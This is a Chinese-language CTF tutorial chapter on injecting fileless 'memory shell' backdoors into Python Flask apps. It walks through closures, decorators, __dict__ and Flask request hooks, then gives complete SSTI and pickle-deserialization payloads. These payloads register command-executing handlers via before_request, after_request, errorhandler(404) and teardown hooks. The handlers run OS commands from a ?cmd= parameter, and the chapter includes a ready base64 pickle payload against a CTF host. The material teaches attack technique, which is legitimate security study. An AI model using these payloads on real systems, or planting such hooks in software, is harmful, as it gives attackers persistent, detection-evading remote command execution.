在无回显 SSTI 中,我们经常听到有的人选择”打内存马”,在第二章中我也提供了内存马的部分 payload

但究竟什么是内存马,内存马的工作原理到底是什么样的?

本章我们就来一探究竟(python 安全前置多,有点长,一定要坚持一下)

绪论

内存马的含义

内存马,可以理解为无文件马。在服务器不允许存在 webshell,或者题目环境不出网,无法反弹 shell 时使用

内存马(Memory Shell)是一种无文件落地的攻击技术,将恶意代码注入到进程内存中执行,绕过文件系统检测。

其本质是在已运行 Python 进程中动态注入代码,不写入磁盘,重启后消失。

注入方式:

  • 利用 exec() / eval() 动态执行代码
  • 利用 import 钩子劫持模块导入
  • 利用 WSGI/ASGI 框架的路由动态注册
  • 利用 sys.modules 篡改已有模块

攻击链路

  1. 获取目标 Python 应用代码执行入口(RCE、SSTI、反序列化等)
  2. 执行内存马注入 payload
  3. 内存马常驻进程,等待触发
  4. 攻击者通过 HTTP/其他协议触发恶意功能

Python 内存马的类型

大概有这么几种类型,作为前置知识,我们先混个脸熟

这里可能不清楚中间件的含义

中间件的含义

中间件是 Web 框架中位于请求与响应之间的处理层。它像一个”安检通道”,每个请求进入时必须依次通过所有中间件才能到达业务代码,响应返回时也要再次经过。

中间件可以:

  • 拦截请求(如未登录直接拒绝)
  • 修改请求/响应(如添加 headers)
  • 记录日志、限流、加解密

本质是包裹在业务逻辑外层的钩子函数,实现横切关注点的解耦。

中间件是所有请求必经之路,因此内存马选择利用中间件,形如这样

1
2
3
4
5
6
@app.before_request
def 后门():
if request.args.get('cmd'):
# 执行系统命令
import os
return os.popen(request.args.get('cmd')).read()

任何人访问 /?cmd=whoami 就能执行命令,且不会影响正常业务。

我们之前的 pickle 反序列化,也属于中间件的注入–植入的类创建/注入了一个中间件,__reduce__ 用于触发中间件注入

而我们在本章讨论的,是 python_flask 内存马的注入问题

语法基础

在学习 Flask 内存马注入之前,我们需要掌握一些必要的语法知识

闭包

函数内部定义函数,多个括号作为函数执行器用于执行嵌套函数

1
2
3
4
5
6
7
8
9
# 闭包:函数内部定义函数,并返回内部函数
def make_middleware(): # 外层函数
def middleware(): # 内层函数(闭包)
print("我是中间件")
return middleware # 返回内层函数

# 使用
my_middle = make_middleware() # my_middle 就是 middleware 函数
my_middle() # 输出:我是中间件
1
2
3
4
5
6
7
8
9
10
11
12
13
def make_middleware():
def middleware():
print("我是中间件")
return middleware

# 情况1
result = make_middleware()
print(result) # 输出: <function make_middleware.<locals>.middleware at 0x...>
# 没有执行 print

# 情况2
make_middleware()()
# 输出: 我是中间件

装饰器

在 Python 里,函数可以像变量一样传来传去:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# 1. 函数可以赋值给变量
def say_hello():
return "Hello"

my_func = say_hello # 把函数赋值给变量
print(my_func()) # 输出: Hello (my_func 现在等于 say_hello)

# 2. 函数可以作为参数传给另一个函数
def greet(func): # func 是一个函数参数
print("准备打招呼...")
result = func() # 执行传进来的函数
print("打完招呼了")
return result

def say_hello():
return "Hello"

greet(say_hello)
# 输出:
# 准备打招呼...
# 打完招呼了
# 返回 "Hello"

# 3. 函数可以返回另一个函数
def make_greeter():
def greeter():
return "Hello from inner"
return greeter # 返回内部函数

# 调用 make_greeter,得到 greeter 函数
new_func = make_greeter()

# 现在 new_func 就是 greeter 函数
# 执行它
print(new_func()) # Hello from inner
#这里make_greeter()函数返回greeter,让greet连同后一个括号()被执行,由于是同一行代码
#所以greeter执行没有作用域的问题

装饰器的基本语法是这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# 定义一个包装器函数,它接收一个函数作为参数
def wrap(func): # func 就是被包装的原函数(比如下面的 hello)

# 在包装器内部定义一个"新函数"
def new_func(): # 这个新函数会在原函数的基础上增加功能

print("开始") # 新增的功能:打印"开始"

result = func() # 执行原来的函数,把结果保存起来(func 就是原来的 hello)

return result # 把原函数的结果返回出去

# 返回这个新函数(注意:没有括号,是返回函数本身,不是执行它)
return new_func


# 使用装饰器
@wrap # 这行代码做了两件事:
# 1. 把下面的 hello 函数作为参数传给 wrap
# 2. 把 wrap 返回的新函数重新赋值给 hello
# 等价于:hello = wrap(hello)
# 即: hello() =new_func(),且result=hello(),这里的hello()
# 不会再递归调用了,执行的就是返回"Hello"

def hello(): # 原来的 hello 函数(很简单)
return "Hello" # 只返回 "Hello"


# 调用 hello
print(hello()) # 现在 hello 已经不是上面那个简单函数了
# hello 现在指向 wrap 返回的 new_func
# 所以执行 hello() 时,实际执行的是 new_func()

# 执行流程:
# 0. hello()当做wrap(hello)()来执行,先返回new_func,即wrap(hello)()=new_func()
# 1. 随后进入 new_func,先打印 "开始"
# 2. 然后用result变量接参数func+(),即hello()本身的返回值
# 3. 执行原来的 hello,得到 "Hello" 传入result 并作为总的(最后一步的)返回值
# 4. "Hello"作为最后一步的返回值被print打印出来

# 最终输出:
# 开始
# Hello

要注意的一点就是红色字体:

手动调用 hello() 走的是包装后的函数,包装函数内部调用的是原函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
print(hello())

└── hello() 被调用

└── hello 实际是 wrap(hello) 返回的 new_func

└── 执行 new_func() //使用hello后的原生括号

├── 1. print("开始")

├── 2. result = func()
│ │
│ └── func 是原来的 hello()
│ │
│ └── 返回 "Hello"

└── 3. return result → 返回 "Hello"

└── print 打印 "Hello"

dict 和动态属性

__dict__的含义和作用

__dict__ 是存放对象属性的字典。

1
2
3
4
5
6
class Person:
def __init__(self, name):
self.name = name # 属性存在 __dict__ 里

p = Person("Tom")
print(p.__dict__) # {'name': 'Tom'} ← 所有属性都存在这个字典里

__dict__可以用于操作属性,像这样

1
2
3
4
5
6
7
8
9
10
11
# 读取
p.__dict__['name'] # 等价于 p.name

# 修改
p.__dict__['name'] = "Jerry" # 等价于 p.name = "Jerry"

# 新增
p.__dict__['age'] = 18 # 等价于 p.age = 18

# 删除
del p.__dict__['age'] # 等价于 del p.age

Flask 中的 dict

1
2
3
4
5
6
7
8
9
10
11
12
from flask import Flask
app = Flask(__name__)

# app 的所有属性都存在 __dict__ 里
print(app.__dict__.keys())
# dict_keys(['view_functions', 'before_request_funcs', 'config', ...])

# 路由字典
app.view_functions # 等价于 app.__dict__['view_functions']

# 中间件列表
app.before_request_funcs # 等价于 app.__dict__['before_request_funcs']

内存马对 dict 的利用

1
2
3
4
5
6
7
8
9
10
11
12
# 正常添加路由
@app.route('/shell')
def shell():
return "backdoor"

# 等价的内存马写法(直接操作 __dict__)
app.__dict__['view_functions']['shell'] = lambda: "backdoor"

# 添加中间件
app.__dict__['before_request_funcs'].setdefault(None, []).append(
lambda: "backdoor"
)

__dict__ 就是对象的属性字典,内存马就是往这个字典里塞后门函数,像这样

1
2
# 核心代码
app.__dict__['view_functions']['/shell'] = 后门函数

Flask 核心概念

关于 Flask,有这些知识是应知应会的

Flask 应用对象–app

1
2
3
4
from flask import Flask
app = Flask(__name__) # app 是核心对象

# 内存马的目标就是操作这个 app 对象

如何理解这个对象 这个对象可以干什么?

app 对象是 Flask 的核心,控制了整个 Web 应用的行为。谁拿到了 app 对象,谁就能控制整个网站

它能够管理路由

1
2
3
4
5
@app.route('/')        # 告诉 Flask:用户访问 / 时,执行下面的函数
def index():
return "Hello"

# 相当于:公司前台说:有人来 / 这个地址,就让 index 这个员工去接待

管理中间件(请求拦截器)

1
2
3
4
5
@app.before_request    # 告诉 Flask:每次有人来,先执行这个函数
def log():
print("有人来了")

# 相当于:公司门口的保安,每个人进来都要先经过他

管理配置

1
2
3
4
app.config['SECRET_KEY'] = 'xxx'   # 设置密钥
app.config['DEBUG'] = True # 开启调试模式

# 相当于:公司的规章制度

管理所有属性和功能

1
2
3
4
5
# app 对象里有很多"抽屉",每个抽屉放着不同的东西
app.view_functions # 抽屉1:所有路由
app.before_request_funcs # 抽屉2:所有中间件
app.config # 抽屉3:所有配置
app.__dict__ # 所有抽屉的集合

我们可以对应一下内存马的打法

1
2
3
4
5
6
7
8
9
10
11
12
# 正常添加路由
@app.route('/shell')
def shell():
return "backdoor"

# 等价的内存马写法(直接操作 __dict__)
app.__dict__['view_functions']['shell'] = lambda: "backdoor"

# 添加中间件
app.__dict__['before_request_funcs'].setdefault(None, []).append(
lambda: "backdoor"
)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌─────────────────────────────────────────────┐
│ app 对象(公司总部) │
├─────────────────────────────────────────────┤
│ │
│ 📁 view_functions(路由表) │
│ ├── '/' → index 函数 │
│ ├── '/login' → login 函数 │
│ └── '/shell' → 后门函数(内存马加的) │
│ │
│ 📁 before_request_funcs(保安列表) │
│ ├── 日志函数 │
│ ├── 权限检查函数 │
│ └── 后门函数(内存马加的) │
│ │
│ 📁 config(配置) │
│ ├── SECRET_KEY = "xxx"
│ └── DEBUG = True
│ │
│ 📁 __dict__(所有抽屉的钥匙) │
│ └── 可以找到上面所有东西 │
└─────────────────────────────────────────────┘

总之 app 作为 flask 核心。拿到 app 对象后,攻击者可以:

1
2
3
4
# 拿到 app 对象后,攻击者可以:
app.view_functions['/backdoor'] = 恶意函数 # 添加后门页面
app.before_request_funcs[None].append(恶意函数) # 添加后门拦截器
app.config['SECRET_KEY'] = 'hacked' # 修改配置

路由系统

1
2
3
4
5
6
7
# 方式1:装饰器
@app.route('/')
def index():
return "Hello"

# 方式2:动态添加(内存马常用)
app.add_url_rule('/shell', 'shell', lambda: "backdoor")

请求上下文

1
2
3
4
5
6
7
from flask import request, current_app

# 在请求中才能访问
@app.route('/')
def index():
print(request.args.get('cmd')) # 获取参数
print(current_app.config) # 获取应用对象

应用上下文

1
2
3
4
5
6
# 没有请求时获取 app 对象的方法
with app.app_context():
current_app.config

# 或者在任意地方(内存马常用)
app = current_app._get_current_object()

以上都是内存马利用的核心,后续我们也会再次提到

Flask 内部结构(理解原理)

关键属性

1
2
3
4
5
app.view_functions      # 路由字典 {endpoint: function}
app.before_request_funcs # 请求前钩子列表
app.after_request_funcs # 请求后钩子列表
app.url_map # URL 映射
app.wsgi_app # WSGI 应用

关键方法

1
2
3
4
app.add_url_rule()       # 添加路由
app.dispatch_request() # 分发请求
app.make_response() # 构造响应
app.process_response() # 处理响应(调用 after_request)

Flask 钩子函数

钩子函数就是在请求处理的不同阶段自动执行的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from flask import Flask
app = Flask(__name__)

# 1. before_request:请求前执行(最常用)
@app.before_request
def before():
print("1. 请求来了,先执行我")

# 2. after_request:请求后执行
@app.after_request
def after(response):
print("3. 请求结束了,最后执行我")
return response

# 3. before_first_request:第一次请求前执行(只执行一次)
@app.before_first_request
def first():
print("0. 服务器启动后第一个请求来之前执行")

# 4. teardown_request:请求结束后执行(即使出错也执行)
@app.teardown_request
def teardown(error):
print("4. 收尾工作,关闭数据库连接等")

拥有这样的执行顺序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
**第一个请求:**
before_first_request ← 只执行一次

before_request ← 每次请求都执行

视图函数(你的业务代码)

after_request ← 每次请求都执行

teardown_request ← 每次请求都执行

**后续请求:**
before_request

视图函数

after_request

teardown_request

在内存马中,我们像这样利用钩子函数

1
2
3
4
5
6
7
8
9
10
11
# 攻击者注入的代码
@app.before_request
def backdoor():
cmd = request.args.get('cmd')
if cmd:
import os
return os.popen(cmd).read()

# 效果:每个请求都会先执行 backdoor
# 如果 URL 带 ?cmd=whoami,就直接执行命令并返回
# 正常用户访问不受影响

Python 魔术方法

这个学过了,我们一笔带过

1
2
3
4
5
6
7
8
import pickle

class Payload:
def __reduce__(self):
# 反序列化时执行
return (print, ('Hello',))

pickle.loads(pickle.dumps(Payload())) # 输出 Hello
1
2
3
# 获取全局变量(常用于 SSTI)
print(request.__globals__)
print(__builtins__) # 内置函数

Flask 内存马漏洞利用

说了这么多前置知识,终于可以开始我们的漏洞利用了

Flask 内存马漏洞可以在存在 SSTI,或 pickle 反序列化的地方利用,当然除了这两个地方,还有许多应用

场景,这里只聚焦 SSTI 和 pickle 反序列化这两个场景的内存马利用

实际上,这两种方法的本质都是在能执行 Python 代码的地方,找到 app 对象,添加后门钩子。

下面这些方法,有的环境兼容性还是还可以的,有的就只能当个备用

[荐]利用 before_request()

这里分别阐述 SSTI 和 pickle 反序列化时如何使用内存马,并用一个实验展示

SSTI 方法

1
{{url_for.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda+:__import__('os').popen('ls').read())")}}

拆看来看就是先找到 eval 呗,然后执行下面这一串

1
__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda+:__import__('os').popen('ls').read())

大概流程像这样

1
2
3
4
5
6
7
# 整段代码可以拆成 4 步
__import__('sys') # 1. 导入 sys 模块
.modules['__main__'] # 2. 找到主模块
.__dict__['app'] # 3. 找到 app 对象
.before_request_funcs.setdefault(None,[]).append(
lambda: __import__('os').popen('ls').read() # 4. 添加后门钩子
)

这样,我们打开浏览器访问:http://target.com/页面显示的不是正常内容,而是 ls 命令的结果(因为钩子返回了命令结果,直接替换了正常页面)

在题目中我们直接注入点输入

1
{{url_for.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda+:__import__('os').popen('env').read())")}}

被成功解析后再度访问网站首页,因为是 before_request(思考一下执行原理),输入的命令就被执行了

pickle 反序列化方法

没啥说的,脚本在这了

意思就是在发请求之前加一个 get 传参,并用 subprocess 模块以命令执行这个参数

相当于以内存马的形式添加了个请求前的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import pickle
import base64

class Malicious:
def __reduce__(self):
# 要注入的代码(无点号版本)
code = """
import sys
app = sys.modules['__main__'].__dict__.get('app')
if app:
app.before_request_funcs.setdefault(None, []).append(
lambda: __import__('subprocess').getoutput(
__import__('flask').request.args.get('cmd')
) if __import__('flask').request.args.get('cmd') else None
)
"""
return (exec, (code,))

# 生成 payload
payload = pickle.dumps(Malicious())
payload_b64 = base64.b64encode(payload).decode()
print(payload_b64)

题目里面直接让这个程序的结果被 pickle 反序列化,然后主页传任意命令就行了

1
http://node5.anna.nssctf.cn:27899/calc?payload=gAWVVAEAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlFg1AQAACmltcG9ydCBzeXMKYXBwID0gc3lzLm1vZHVsZXNbJ19fbWFpbl9fJ10uX19kaWN0X18uZ2V0KCdhcHAnKQppZiBhcHA6CiAgICBhcHAuYmVmb3JlX3JlcXVlc3RfZnVuY3Muc2V0ZGVmYXVsdChOb25lLCBbXSkuYXBwZW5kKAogICAgICAgIGxhbWJkYTogX19pbXBvcnRfXygnc3VicHJvY2VzcycpLmdldG91dHB1dCgKICAgICAgICAgICAgX19pbXBvcnRfXygnZmxhc2snKS5yZXF1ZXN0LmFyZ3MuZ2V0KCdjbWQnKQogICAgICAgICkgaWYgX19pbXBvcnRfXygnZmxhc2snKS5yZXF1ZXN0LmFyZ3MuZ2V0KCdjbWQnKSBlbHNlIE5vbmUKICAgICkKlIWUUpQu

利用 after_request()方法

大差不差吧

SSTI 方法

1
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}

有点长,核心步骤大概像这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# 第1层:eval 执行代码
# 等价于执行下面这行代码(因为传入了 app 和 request)
app.after_request_funcs.setdefault(None, []).append(某个函数)


# 第2层:setdefault(None, [])
# 如果 app.after_request_funcs 字典中没有 None 这个 key
# 就创建一个空列表,并返回这个列表
# 相当于:确保 after_request 钩子列表存在


# 第3层:append(某个函数)
# 向 after_request 钩子列表中添加一个函数
# 这个函数会在每个请求响应后执行


# 第4层:添加的钩子函数(lambda)
lambda resp: CmdResp if 条件 else resp
# 参数 resp 是视图函数返回的原始响应
# 如果条件为真,返回 CmdResp(命令结果)
# 如果条件为假,返回原始响应 resp


# 第5层:条件判断
request.args.get('cmd') and exec(...) == None
# 步骤:
# ① 检查 URL 是否有 cmd 参数
# ② 如果有,执行 exec(...)
# ③ exec 总是返回 None,所以条件为 True
# ④ 没有 cmd 参数,短路返回 False


# 第6层:exec 执行的代码
exec(
"global CmdResp; " # 声明全局变量
"CmdResp = __import__('flask').make_response(" # 创建 Flask 响应对象
" __import__('os').popen(request.args.get('cmd')).read()" # 执行命令并读取结果
")"
)
# 执行后,全局变量 CmdResp 就是包含命令结果的响应对象


# ==================== 完整执行流程 ====================

"""
场景:用户访问 /?cmd=whoami

1. 视图函数执行,返回原始响应 resp(比如 "Hello")

2. 进入 after_request 钩子(刚添加的 lambda 函数)
├── 检查 request.args.get('cmd') → 有,值为 "whoami"
├── 执行 exec(...)
│ ├── global CmdResp
│ ├── 执行 os.popen('whoami').read() → 得到 "root"
│ └── 用 make_response 包装成 Flask 响应对象,赋值给 CmdResp
├── exec 返回 None,条件成立
└── 返回 CmdResp(命令结果)

3. 用户收到 "root",而不是原来的 "Hello"
"""

输进去让 jinja2 执行了以后,payload:?cmd=…就行了,这里就不截图了,实验通过了的

pickle 反序列化方法

还是沿用 subprocess,传 cmd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import pickle
import base64

class Malicious:
def __reduce__(self):
# 要注入的代码(after_request 版本)
code = """
import sys
app = sys.modules['__main__'].__dict__.get('app')
if app:
app.after_request_funcs.setdefault(None, []).append(
lambda resp: __import__('subprocess').getoutput(
__import__('flask').request.args.get('cmd')
) if __import__('flask').request.args.get('cmd') else resp
)
"""
return (exec, (code,))

# 生成 payload
payload = pickle.dumps(Malicious())
payload_b64 = base64.b64encode(payload).decode()
print(payload_b64)

[荐]利用 errorhandler()方法

这个装饰器在其内部定义了一个用于注册错误处理函数的函数 。当用户请求了一个不存在的 URL 时,Flask 会调用 page_not_found 函数,如果能操控 404 页面返回的东西,那就可以执行任意代码了

SSTI 方法

1
{{ url_for.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].errorhandler(404)(lambda e: __import__('subprocess').getoutput(__import__('flask').request.args.get('cmd')))") }}

返回的是这个

我们只要访问一个不存在的路由,传 cmd 就能执行命令了

pickle 反序列化方法

访问不存在的路由,你不输指令就是返回 0,你传?cmd 就能 RCE 了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import pickle
import base64

class P:
def __reduce__(self):
code = """
import sys
from flask import make_response

app = sys.modules['__main__'].__dict__.get('app')
if app:
def backdoor(e):
import subprocess
from flask import request
cmd = request.args.get('cmd')
if cmd:
return subprocess.getoutput(cmd)
return "0"

app.error_handler_spec.setdefault(None, {})
app.error_handler_spec[None][404] = {Exception: backdoor}
"""
return (exec, (code,))

print(base64.b64encode(pickle.dumps(P())).decode())

太牛皮了

利用 teardown_request()方法

这玩意注册在每一个请求的末尾,不管是否有异常,每次请求的最后都会执行

先说 SSTI 吧

SSTI 方法

好像用不了,实验没成功

1
{{ url_for.__globals__['__builtins__']['eval']("app.teardown_request_funcs.setdefault(None, []).append(lambda: __import__('subprocess').Popen('ls', shell=True))") }}

pickle 反序列化方法

也没法用,看环境吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import pickle
import base64

class Malicious:
def __reduce__(self):
code = """
import sys
app = sys.modules['__main__'].__dict__.get('app')
if app:
def cleanup():
__import__('subprocess').getoutput('ls')

app.teardown_request_funcs.setdefault(None, []).append(cleanup)
"""
return (exec, (code,))

payload = pickle.dumps(Malicious())
print(base64.b64encode(payload).decode())

利用 teardown_appcontext()方法

flask 为上下文提供了一个 teardown_appcontext 钩子,使用它注册的回调函数会在程序上下文被销毁时调用,通常也在请求上下文被销毁时调用.某些情况下这个函数和**@teardown_request**的行为是类似的,一个是请求上下文被销毁时被调用,另一个是应用上下文被销毁时调用.

比如你需要在每个请求处理结束后销毁数据库连接:app.teardown_appcontext 装饰器注册的回调函数需要接收异常对象作为参数,当请求被正常处理时这个参数将是 None,这个函数的返回值将被忽略.

环境也不是特别支持,当个备用吧

SSTI 方法

1
{{ config.__class__.__init__.__globals__['__builtins__']['eval']("app.teardown_appcontext_funcs.append(lambda x: __import__('os').popen('calc').read())") }}
1
{{ url_for.__globals__['__builtins__']['eval']("app.teardown_appcontext_funcs.append(lambda x: __import__('os').popen('calc').read())") }}

pickle 反序列化方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import pickle
import base64

class Malicious:
def __reduce__(self):
code = """
import sys
app = sys.modules['__main__'].__dict__.get('app')
if app:
def cleanup(x=None):
__import__('os').popen('calc').read()

if hasattr(app, 'teardown_appcontext_funcs'):
app.teardown_appcontext_funcs.append(cleanup)
else:
app.teardown_request_funcs.setdefault(None, []).append(cleanup)
"""
return (exec, (code,))

payload = pickle.dumps(Malicious())
print(base64.b64encode(payload).decode())

实验

实验就不做了,教程中演示的已经比较清楚了

总结

正如卷首说的,内存马,可以理解为无文件马。在服务器不允许存在 webshell,或者题目环境不出网,无法反弹 shell 时使用。如果无回显的题目它文件根本不可写,我们就可以使用这样的内存马。

本章结束**🎆**